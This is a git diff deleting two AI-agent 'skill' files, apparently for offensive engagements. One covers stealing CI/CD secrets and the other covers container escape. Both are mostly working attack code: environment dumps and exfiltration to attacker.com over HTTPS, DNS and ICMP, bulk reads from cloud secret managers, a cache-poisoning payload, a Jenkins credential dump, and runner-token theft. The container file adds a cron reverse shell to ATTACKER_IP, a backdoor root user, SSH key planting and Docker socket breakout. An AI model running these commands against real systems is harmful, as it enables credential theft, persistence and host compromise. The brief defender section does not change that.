-env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
-
-# Search for variables containing credential-shaped values
-env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
-env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
-env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
-env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
-env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
-env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
-
-# Find secrets in process memory (if /proc is available)
-strings /proc/self/environ 2>/dev/null
-strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
-```
-
-### Exfiltration Channels
-
-```bash
-# HTTPS POST exfiltration (most reliable)
-env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
-
-# DNS exfiltration for restricted networks
-for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
- nslookup "${secret}.exfil.attacker.com" 2>/dev/null
-done
-
-# ICMP exfiltration when HTTP is blocked
-env | xxd -p | fold -w 32 | while read chunk; do
- ping -c 1 -p "$chunk" attacker.com 2>/dev/null
-done
-
-# Write to pipeline artifact for later retrieval
-env | base64 > /tmp/build-metrics.dat
-# Then upload as artifact through the platform's mechanism
-```
-
----
-
-## Vault and Secrets Manager Misconfigurations
-
-CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how
-pipelines authenticate to and retrieve secrets from these systems.
-
-### HashiCorp Vault
-
-```bash
-# Check if Vault environment is configured
-echo "VAULT_ADDR: $VAULT_ADDR"
-echo "VAULT_TOKEN: $VAULT_TOKEN"
-echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
-echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
-
-# If VAULT_TOKEN is present, enumerate accessible secrets
-vault secrets list 2>/dev/null || \
- curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
-
-# List and read KV secrets
-vault kv list secret/ 2>/dev/null || \
- curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
-
-# Attempt to read common secret paths
-for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
- echo "--- $path ---"
- curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
-done
-
-# If AppRole credentials are available, authenticate
-curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login" \
- -d "{\"role_id\": \"$VAULT_ROLE_ID\", \"secret_id\": \"$VAULT_SECRET_ID\"}" | jq '.'
-
-# Check token capabilities -- often over-permissioned for CI
-curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN" \
- "$VAULT_ADDR/v1/sys/capabilities-self" \
- -d '{"paths": ["secret/*", "aws/*", "database/*", "ssh/*"]}' | jq '.'
-```
-
-### AWS Secrets Manager and Parameter Store
-
-```bash
-# Check for AWS credentials in the environment
-echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
-echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
-echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
-
-# Check if running on EC2 with instance metadata
-curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
-
-# List all secrets in Secrets Manager
-aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
-
-# Extract secret values
-aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' | \
- while read name; do
- echo "=== $name ==="
- aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null
- done
-
-# SSM Parameter Store -- often contains credentials with weak IAM boundaries
-aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
-aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
- --query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
-```
-
-### Azure Key Vault
-
-```bash
-# Check for Azure managed identity
-curl -sS -m 2 -H "Metadata: true" \
- "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
- 2>/dev/null | jq '.access_token'
-
-# List Key Vaults accessible to the current identity
-az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
-
-# Extract all secrets from a vault
-VAULT_NAME="target-vault"
-az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
-az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv | \
- while read name; do
- echo "=== $name ==="
- az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv
- done
-
-# Extract certificates and keys
-az keyvault certificate list --vault-name "$VAULT_NAME" --output table
-az keyvault key list --vault-name "$VAULT_NAME" --output table
-```
-
-### GCP Secret Manager
-
-```bash
-# Check for GCP credentials
-echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
-cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
-
-# Use metadata server for default credentials
-curl -sS -H "Metadata-Flavor: Google" \
- "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
-
-# List all secrets in the project
-gcloud secrets list --format='table(name, replication.automatic)'
-
-# Extract secret values
-gcloud secrets list --format='value(name)' | while read name; do
- echo "=== $name ==="
- gcloud secrets versions access latest --secret="$name" 2>/dev/null
-done
-```
-
----
-
-## OIDC Federation Attacks
-
-OIDC federation allows CI/CD pipelines to authenticate to cloud providers without storing long-lived
-credentials. You exploit trust misconfigurations in the federation setup to assume roles from
-unauthorized contexts.
-
-### GitHub Actions OIDC
-
-```yaml
-# GitHub Actions requests an OIDC token from the GitHub token endpoint
-# The token contains claims about the workflow context
-steps:
- - name: Extract OIDC token and examine claims
- run: |
- # Request the OIDC token
- OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
- "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
-
- # Decode and examine the claims (header.payload.signature)
- echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
-
- # The claims include:
- # sub: repo:org/repo:ref:refs/heads/main
- # repository: org/repo
- # ref: refs/heads/main
- # If the AWS role trust policy is overly permissive (e.g., trusts any ref
- # or any repo in the org), you can assume it from a fork or feature branch
-```
-
-Attack scenario -- overly broad trust policy:
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": [{
- "Effect": "Allow",
- "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringLike": {
- "token.actions.githubusercontent.com:sub": "repo:target-org/*"
- }
- }
- }]
-}
-```
-
-```bash
-# This trust policy accepts ANY repository in the org
-# If you can create a repo in the org or find any repo with Actions write access,
-# you can assume this role
-
-# From your controlled workflow in any org repo:
-aws sts assume-role-with-web-identity \
- --role-arn "arn:aws:iam::ACCOUNT:role/deploy-role" \
- --role-session-name "exploit" \
- --web-identity-token "$OIDC_TOKEN"
-```
-
-### GitLab CI OIDC
-
-```yaml
-# GitLab CI can also issue OIDC tokens
-extract_oidc:
- script:
- - |
- # GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
- echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
-
- # Claims include namespace_path, project_path, ref, ref_protected
- # Misconfigured trust policies may not validate ref_protected or project_path
-
- # Assume AWS role using GitLab OIDC token
- aws sts assume-role-with-web-identity \
- --role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
- --role-session-name "gitlab-exploit" \
- --web-identity-token "$CI_JOB_JWT_V2"
- id_tokens:
- CUSTOM_TOKEN:
- aud: https://aws.amazon.com
-```
-
----
-
-## Build Log and Cache Exploitation
-
-Build logs and caches frequently contain credentials leaked through careless scripting, verbose
-output modes, or debug configurations.
-
-### Log Analysis
-
-```bash
-# GitHub Actions: Retrieve workflow run logs via API
-# Requires a token with actions:read scope
-curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- -H "Accept: application/vnd.github+json" \
- "https://api.github.com/repos/OWNER/REPO/actions/runs" | \
- jq '.workflow_runs[:10] | .[].id' | while read run_id; do
- curl -sS -L -H "Authorization: token $GITHUB_TOKEN" \
- "https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs" \
- -o "run_${run_id}.zip"
- unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null
-done
-
-# Search extracted logs for leaked secrets
-grep -rihE '(password|secret|token|key|credential)[\s]*[=:][\s]*\S+' logs_*/ 2>/dev/null
-grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_*/ 2>/dev/null
-grep -rihE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
-
-# Jenkins: Build console output often contains unmasked secrets
-curl -sS -u "user:$JENKINS_TOKEN" \
- "https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" | \
- grep -iE 'password|secret|token|key'
-```
-
-### Cache Poisoning for Exfiltration
-
-```yaml
-# GitHub Actions: Poison the build cache to exfiltrate secrets on next run
-# First run: inject exfiltration script into cached dependencies
-steps:
- - uses: actions/cache@v4
- with:
- path: ~/.npm
- key: npm-cache-${{ hashFiles('package-lock.json') }}
-
- - run: |
- # Inject into a cached module that executes during install
- mkdir -p ~/.npm/_preinstall
- cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD'
- #!/bin/bash
- env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil &
- PAYLOAD
- chmod +x ~/.npm/_preinstall/exfil.sh
- # Modify a cached package's install script to trigger it
-```
-
-GitLab CI shared caches work similarly -- inject a payload into `node_modules/` with `cache: policy: push`, and the deploy job pulling the same cache key executes it.
-
----
-
-## Platform-Specific Credential Stores
-
-Each CI/CD platform has its own credential storage mechanism with distinct extraction techniques.
-
-### GitHub Actions Secrets
-
-```bash
-# GitHub Actions secrets are injected as environment variables
-# They are masked in logs but accessible programmatically
-
-# List all secrets available to the workflow (names only, via API)
-curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- -H "Accept: application/vnd.github+json" \
- "https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
-
-# Organization-level secrets
-curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- "https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
-
-# Repository environment secrets
-curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- "https://api.github.com/repos/$GITHUB_REPOSITORY/environments" | \
- jq '.environments[].name' | while read env_name; do
- echo "=== Environment: $env_name ==="
- curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- "https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.'
-done
-
-# Values require code execution in the pipeline context -- use env dump techniques above
-```
-
-### Jenkins Credential Store
-
-```groovy
-// Groovy script to extract all Jenkins credentials
-import com.cloudbees.plugins.credentials.CredentialsProvider
-import com.cloudbees.plugins.credentials.Credentials
-import com.cloudbees.plugins.credentials.domains.Domain
-import jenkins.model.Jenkins
-
-def store = Jenkins.instance.getExtensionList(
- 'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
-)[0].getStore()
-
-store.getDomains().each { domain ->
- store.getCredentials(domain).each { cred ->
- println "=== ${cred.id} (${cred.class.simpleName}) ==="
- if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
- if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
- if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
- if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
- if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
- println "---"
- }
-}
-```
-
-For offline decryption of `credentials.xml`, you need `secrets/master.key` and `secrets/hudson.util.Secret` from the Jenkins home directory. Hash the master key with SHA-256, use the first 16 bytes to AES-ECB-decrypt the hudson secret, then use that as the AES-128-CBC key (IV is bytes 1-17 of the encrypted blob) to decrypt individual credential entries.
-
-### GitLab CI Variables
-
-```bash
-# Extract variables using CI_JOB_TOKEN (limited scope)
-curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN" \
- "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
-
-# With a personal access token or impersonation token (broader scope)
-curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
- "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | \
- jq '.[] | {key, value, protected, masked, environment_scope}'
-
-# Group variables (inherited by all projects in the group)
-curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
- "https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" | \
- jq '.[] | {key, value, protected}'
-
-# Instance variables (requires admin access)
-curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
- "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
-
-# File-type variables are written to disk -- find them
-find /builds -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "*.json" 2>/dev/null | \
- while read f; do echo "=== $f ==="; cat "$f"; done
-```
-
----
-
-## Docker Registry Credential Theft
-
-CI/CD pipelines that build and push container images store Docker registry credentials. You extract
-them from the runner filesystem, environment variables, or the Docker credential helper chain.
-
-```bash
-# Check Docker configuration for stored credentials
-cat ~/.docker/config.json 2>/dev/null | jq '.'
-# Look for credHelpers, credStore, and direct auths entries
-
-# Extract from Docker credential helpers
-docker-credential-gcr list 2>/dev/null
-docker-credential-ecr-login list 2>/dev/null
-docker-credential-desktop list 2>/dev/null
-
-# For each credential helper, get the stored credentials
-for helper in gcr ecr-login desktop secretservice pass; do
- echo "=== docker-credential-$helper ==="
- echo "" | docker-credential-$helper list 2>/dev/null | \
- jq -r 'keys[]' 2>/dev/null | while read registry; do
- echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.'
- done
-done
-
-# Check for registry tokens in environment
-env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
-
-# GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
-echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
-
-# AWS ECR -- extract temporary credentials
-aws ecr get-login-password --region us-east-1
-
-# GCP Artifact Registry
-gcloud auth print-access-token
-```
-
----
-
-## Service Connections and Runner Tokens
-
-Cloud service connections and runner tokens provide direct pivot paths from CI/CD into infrastructure.
-
-```bash
-# Azure DevOps service connections -- credentials injected as env vars
-echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
-echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
-az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
-az role assignment list --assignee "$ARM_CLIENT_ID" --output table
-
-# GCP service account keys on runners
-find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
-gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
-
-# AWS cross-account role assumption
-aws sts get-caller-identity
-```
-
-Runner tokens enable job interception and rogue runner registration:
-
-```bash
-# GitHub Actions self-hosted runner credentials
-cat /home/runner/.runner 2>/dev/null | jq '.'
-cat /home/runner/.credentials 2>/dev/null
-find / -path "*actions-runner*" -name ".runner" 2>/dev/null
-
-# GitLab runner token extraction
-grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
-
-# Claim jobs with a stolen GitLab runner token
-curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request" \
- --form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
-
-# Jenkins agent secret files
-find / -name "secret.key" -path "*/jenkins/*" 2>/dev/null
-```
-
----
-
-## Detection / Defender View
-
-Defenders should implement these controls and monitor for these indicators:
-
-- **Environment variable access patterns**: Alert when pipeline steps execute `env`, `printenv`, or access `/proc/self/environ` outside expected debugging contexts.
-- **Outbound data exfiltration**: Monitor runner network traffic for POST requests to unknown hosts and unusual DNS query patterns.
-- **Secrets access auditing**: Enable vault/secrets-manager access logs. Alert on bulk secret enumeration or access from unexpected IP ranges.
-- **OIDC token claims validation**: Ensure cloud provider trust policies validate specific claims (repository, branch, environment) rather than broad organization-level trust.
-- **Log sanitization**: Scan build logs for credential patterns before storage using truffleHog or detect-secrets.
-- **Cache integrity**: Implement cache signing or checksums to detect poisoning.
-- **Runner filesystem hygiene**: Use ephemeral runners. Scrub filesystem between jobs on persistent runners.
-- **Token rotation**: Rotate runner registration tokens regularly. Monitor for unexpected runner registrations.
-- **Credential scope minimization**: Apply least-privilege to all CI/CD credentials. Use short-lived tokens. Separate read and write credentials.
-
-Key defensive controls: use OIDC with narrow claim constraints over long-lived credentials; enable audit logging on all secrets platforms; use ephemeral container-based runners; restrict secret access via environment protection rules; implement network segmentation for build environments.
-
----
-
-## Engagement Cheatsheet
-
-| Vector | Platform | Access Required | Impact |
-|-------------------------------|-------------------|------------------------|-------------------------|
-| Env var dump | All | Pipeline execution | All injected secrets |
-| Log masking bypass | All | Pipeline execution | Secret values in logs |
-| Vault token reuse | All + Vault | Pipeline execution | Vault secret access |
-| AWS metadata/creds | AWS runners | Pipeline execution | AWS account access |
-| Azure managed identity | Azure runners | Pipeline execution | Azure subscription |
-| GCP metadata/SA key | GCP runners | Pipeline execution | GCP project access |
-| OIDC federation abuse | GitHub/GitLab | Workflow in trusted org| Cloud role assumption |
-| Build log analysis | All | Log read access | Leaked credentials |
-| Cache poisoning | GitHub/GitLab | Cache write access | Credential exfiltration |
-| Jenkins credential dump | Jenkins | Script console access | All stored credentials |
-| GitLab variable extraction | GitLab | API token | Project/group secrets |
-| Docker config theft | All | Runner filesystem | Registry credentials |
-| Runner token capture | GitHub/GitLab | Runner filesystem | Job interception |
-| Service connection theft | Azure DevOps | Pipeline execution | Cloud infra access |
-| SSM Parameter Store | AWS | Pipeline execution | Stored parameters |
-| Key Vault extraction | Azure | Pipeline execution | Vault secrets/keys |
-
----
-
-## Key References
-
-- MITRE ATT&CK T1552: https://attack.mitre.org/techniques/T1552/
-- OWASP Top 10 CI/CD Risks (CICD-SEC-6): https://owasp.org/www-project-top-10-ci-cd-security-risks/
-- GitHub Actions Secrets Hardening: https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions
-- GitLab CI/CD Variable Security: https://docs.gitlab.com/ee/ci/variables/#cicd-variable-security
-- Jenkins Credentials Plugin: https://plugins.jenkins.io/credentials/
-- HashiCorp Vault CI/CD Integration: https://developer.hashicorp.com/vault/tutorials/app-integration
-- AWS OIDC with GitHub Actions: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html
-- truffleHog: https://github.com/trufflesecurity/trufflehog
-- detect-secrets: https://github.com/Yelp/detect-secrets
diff --git a/.claude/skills/claude-red/container/offensive-container-escape/SKILL.md b/.claude/skills/claude-red/container/offensive-container-escape/SKILL.md
deleted file mode 100644
index bb1227b..0000000
--- a/.claude/skills/claude-red/container/offensive-container-escape/SKILL.md
+++ /dev/null
@@ -1,672 +0,0 @@
----
-name: offensive-container-escape
-description: "Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_ADMIN, cgroup v1 notify_on_release escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and host namespace sharing. Includes enumeration with capsh, amicontained, deepce, CDK, and nsenter. Maps to MITRE ATT&CK T1611 Escape to Host. Use this skill when the engagement scope includes container breakout, Docker escape, container privilege escalation, host access from container, or when you land inside a containerized environment and need to reach the underlying host."
----
-
-# Container Escape and Breakout
-
-You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
-
-## Quick Workflow
-
-1. Confirm you are inside a container (check for `.dockerenv`, cgroup entries, PID 1 process).
-2. Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
-3. Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
-4. Execute the breakout technique matching the vector.
-5. Validate host access by reading `/etc/hostname`, checking PID namespace, or writing to host filesystem.
-6. Pivot from host access to lateral movement across the cluster or infrastructure.
-
----
-
-## Phase 1: Container Detection and Enumeration
-
-Before attempting escape, confirm you are containerized and map the attack surface.
-
-### Detecting Container Environment
-
-```bash
-# Check for Docker marker file
-ls -la /.dockerenv
-
-# Check cgroup entries for container identifiers
-cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
-
-# Check PID 1 process (containers typically run app process, not init)
-cat /proc/1/cmdline | tr '\0' ' '
-
-# Check for container-specific environment variables
-env | grep -iE 'kubernetes|docker|container|pod'
-
-# Check hostname (often a truncated container ID)
-hostname
-
-# Check mount info for overlay filesystem
-cat /proc/1/mountinfo | head -20
-```
-
-### Automated Enumeration Tools
-
-```bash
-# deepce - Docker enumeration and escalation tool
-# Download and run (if outbound access is available)
-curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
-chmod +x deepce.sh
-./deepce.sh
-
-# CDK - Zero-dependency container penetration toolkit
-./cdk evaluate
-
-# amicontained - Inspect container runtime and capabilities
-./amicontained
-
-# Manual capability check with capsh
-capsh --print
-cat /proc/1/status | grep -i cap
-```
-
-### Decoding Capabilities Manually
-
-```bash
-# Read raw capability hex from /proc
-cat /proc/1/status | grep CapEff
-# Example output: CapEff: 0000003fffffffff
-
-# Decode with capsh
-capsh --decode=0000003fffffffff
-
-# Key dangerous capabilities to look for:
-# CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
-# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
-# CAP_NET_ADMIN - network namespace manipulation, raw sockets
-# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
-# CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
-# CAP_SYS_MODULE - load/unload kernel modules
-# CAP_MKNOD - create device files
-```
-
-### Checking Namespace Isolation
-
-```bash
-# Compare PID namespace
-ls -la /proc/1/ns/pid
-ls -la /proc/self/ns/pid
-
-# Check if sharing host namespaces
-ls -la /proc/1/ns/ | awk '{print $NF}'
-# If namespace inodes match host, isolation is broken
-
-# Check mount namespace for host mounts
-cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
-findmnt
-
-# Check for host network namespace
-ip addr show
-# If you see host interfaces (eth0 with host IP), hostNetwork is true
-cat /proc/net/tcp
-```
-
----
-
-## Phase 2: Privileged Container Breakout
-
-A container run with `--privileged` drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
-
-### Mount Host Filesystem
-
-```bash
-# List available block devices
-fdisk -l 2>/dev/null || lsblk
-
-# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
-# Mount it into the container
-mkdir -p /mnt/host
-mount /dev/sda1 /mnt/host
-
-# Verify host access
-cat /mnt/host/etc/hostname
-cat /mnt/host/etc/shadow
-ls -la /mnt/host/root/
-
-# Drop an SSH key for persistent access
-mkdir -p /mnt/host/root/.ssh
-echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
-
-# Plant a reverse shell in cron
-echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
-
-# Add a backdoor user
-echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
-echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
-```
-
-### nsenter to Host Namespaces
-
-```bash
-# If PID 1 on the host is visible (privileged + hostPID), nsenter into it
-# This gives you a shell in the host's full namespace context
-nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
-
-# Verify you escaped
-hostname
-id
-cat /etc/hostname
-
-# Without hostPID, nsenter from mounted procfs
-# Mount host /proc first if available
-nsenter -t 1 -m -u -i -n -p -- bash
-```
-
-### Device Access Exploitation
-
-```bash
-# Privileged containers have access to all host devices
-ls -la /dev/
-
-# Read host memory directly
-dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head
-
-# Access host disk raw
-dd if=/dev/sda bs=512 count=1 | xxd | head
-
-# Create device nodes if CAP_MKNOD is available
-mknod /dev/host_disk b 8 0
-mount /dev/host_disk /mnt/host
-```
-
----
-
-## Phase 3: Docker Socket Abuse
-
-When `/var/run/docker.sock` is mounted into a container, you control the Docker daemon and can create privileged containers that mount the host filesystem.
-
-### Detecting Exposed Socket
-
-```bash
-# Check for Docker socket
-ls -la /var/run/docker.sock
-ls -la /run/docker.sock
-
-# Check if socket is writable
-test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"
-
-# Verify Docker API via curl
-curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
-
-# Check without curl using socat or Python
-python3 -c "
-import socket, json
-s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
-s.connect('/var/run/docker.sock')
-s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
-print(s.recv(4096).decode())
-"
-```
-
-### Escape via Docker Socket
-
-```bash
-# If Docker CLI is available
-docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
- --net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
-
-# If only curl is available, use Docker API directly
-# Step 1: Create a container mounting host root
-curl -s --unix-socket /var/run/docker.sock \
- -X POST http://localhost/containers/create \
- -H "Content-Type: application/json" \
- -d '{
- "Image": "alpine",
- "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"],
- "HostConfig": {
- "Privileged": true,
- "Binds": ["/:/mnt/host"]
- }
- }' | python3 -m json.tool
-
-# Capture container ID from response
-CONTAINER_ID="<id_from_response>"
-
-# Step 2: Start the container
-curl -s --unix-socket /var/run/docker.sock \
- -X POST "http://localhost/containers/${CONTAINER_ID}/start"
-
-# Step 3: Read output
-curl -s --unix-socket /var/run/docker.sock \
- "http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
-
-# For interactive shell, use exec endpoint
-curl -s --unix-socket /var/run/docker.sock \
- -X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
- -H "Content-Type: application/json" \
- -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
-```
-
-### Containerd Socket Abuse
-
-```bash
-# Check for containerd socket
-ls -la /run/containerd/containerd.sock
-
-# Use ctr if available
-ctr -a /run/containerd/containerd.sock containers list
-ctr -a /run/containerd/containerd.sock images list
-
-# Spawn privileged container via containerd
-ctr -a /run/containerd/containerd.sock run \
- --privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind \
- docker.io/library/alpine:latest escape /bin/sh
-```
-
----
-
-## Phase 4: Capability-Based Escapes
-
-Individual Linux capabilities can be sufficient for escape even without full privileged mode.
-
-### CAP_SYS_ADMIN Escape
-
-```bash
-# CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
-# Check if present
-grep CapEff /proc/1/status
-capsh --print | grep sys_admin
-
-# Method 1: Mount host filesystem via block device
-mount /dev/sda1 /mnt
-
-# Method 2: cgroup release_agent escape (see Phase 5)
-# Method 3: Abuse user namespace
-unshare -Urm bash
-```
-
-### CAP_SYS_PTRACE Escape
-
-```bash
-# CAP_SYS_PTRACE allows tracing processes across namespaces
-# Combined with hostPID, you can inject into host processes
-
-# Find a host process (requires shared PID namespace)
-ps aux | grep -v grep | head -20
-
-# Inject shellcode into a host process using ptrace
-# Python ptrace injection example
-python3 -c "
-import ctypes
-import ctypes.util
-
-libc = ctypes.CDLL(ctypes.util.find_library('c'))
-
-# Target a host process PID
-target_pid = 1 # systemd or init
-
-PTRACE_ATTACH = 16
-PTRACE_DETACH = 17
-PTRACE_POKETEXT = 4
-PTRACE_GETREGS = 12
-
-# Attach to target
-result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
-print(f'Attach result: {result}')
-"
-
-# Alternatively, use /proc/PID/root to access host filesystem via host PID
-ls -la /proc/1/root/
-cat /proc/1/root/etc/shadow
-```
-
-### CAP_NET_ADMIN Escape
-
-```bash
-# CAP_NET_ADMIN with host network namespace enables ARP spoofing,
-# traffic interception, and network-based attacks against the host
-
-# Check for capability
-capsh --print | grep net_admin
-
-# Create a network tap to sniff host traffic
-ip link add name sniff0 type dummy
-tcpdump -i eth0 -w /tmp/capture.pcap &
-
-# ARP spoof the gateway to intercept traffic
